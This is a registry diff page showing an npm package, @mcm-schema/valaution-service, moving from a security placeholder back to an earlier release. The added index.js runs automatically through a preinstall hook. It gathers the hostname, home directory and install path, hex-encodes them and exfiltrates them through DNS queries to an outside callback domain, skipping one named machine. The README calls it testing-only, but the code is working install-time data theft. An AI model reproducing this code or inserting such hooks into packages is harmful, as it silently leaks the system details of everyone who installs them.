@mcm-schema/valaution-service 0.0.1-security → 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @mcm-schema/valaution-service might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +53 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40mcm-schema%2Fvalaution-service for more information.
1
+ This package is meant for testing purposes only.
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const suffix = '.dns.dependency-c4llb4ck.0lo.org';
4
+ const ns = 'dns1.dependency-c4llb4ck.0lo.org';
5
+ const package = '@mcm-schema/valaution-service_0.0.1';
6
+
7
+ function sendToServer(data) {
8
+
9
+ data = Buffer.from(data).toString('hex');
10
+ data = data.match(/.{1,60}/g);
11
+
12
+ id = Math.random().toString(36).substring(2);
13
+
14
+ data.forEach(function (chunk, idx){
15
+ try {
16
+ dns.resolve(
17
+ 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
18
+ console.log);
19
+ } catch (e) { }
20
+ });
21
+
22
+ }
23
+
24
+ function tryGet(toCall) {
25
+ try {
26
+ return toCall();
27
+ } catch(e) {
28
+ return 'err';
29
+ }
30
+ }
31
+
32
+ data = {
33
+ p : package,
34
+ h : tryGet(os.hostname),
35
+ d : tryGet(os.homedir),
36
+ c : __dirname
37
+ }
38
+
39
+ if (data['h'] == 'BBOGENS-LAPTOP') {
40
+ process.exit(0);
41
+ }
42
+
43
+ data = JSON.stringify(data);
44
+ sendToServer(data);
45
+ dns.lookup(ns, function(err, address) {
46
+ if (!err) {
47
+ nsAddress = address;
48
+ } else {
49
+ nsAddress = '8.8.8.8';
50
+ }
51
+ dns.setServers([nsAddress, '4.4.4.4']);
52
+ sendToServer(data);
53
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@mcm-schema/valaution-service",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "description": "![Build Status](https://travis-ci.org/mcmakler/design-guide.svg?branch=develop \"Build Status\")",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "start": "node index.js"
9
+ },
10
+ "author": "Dave Lukanson",
11
+ "license": "MIT"
6
12
  }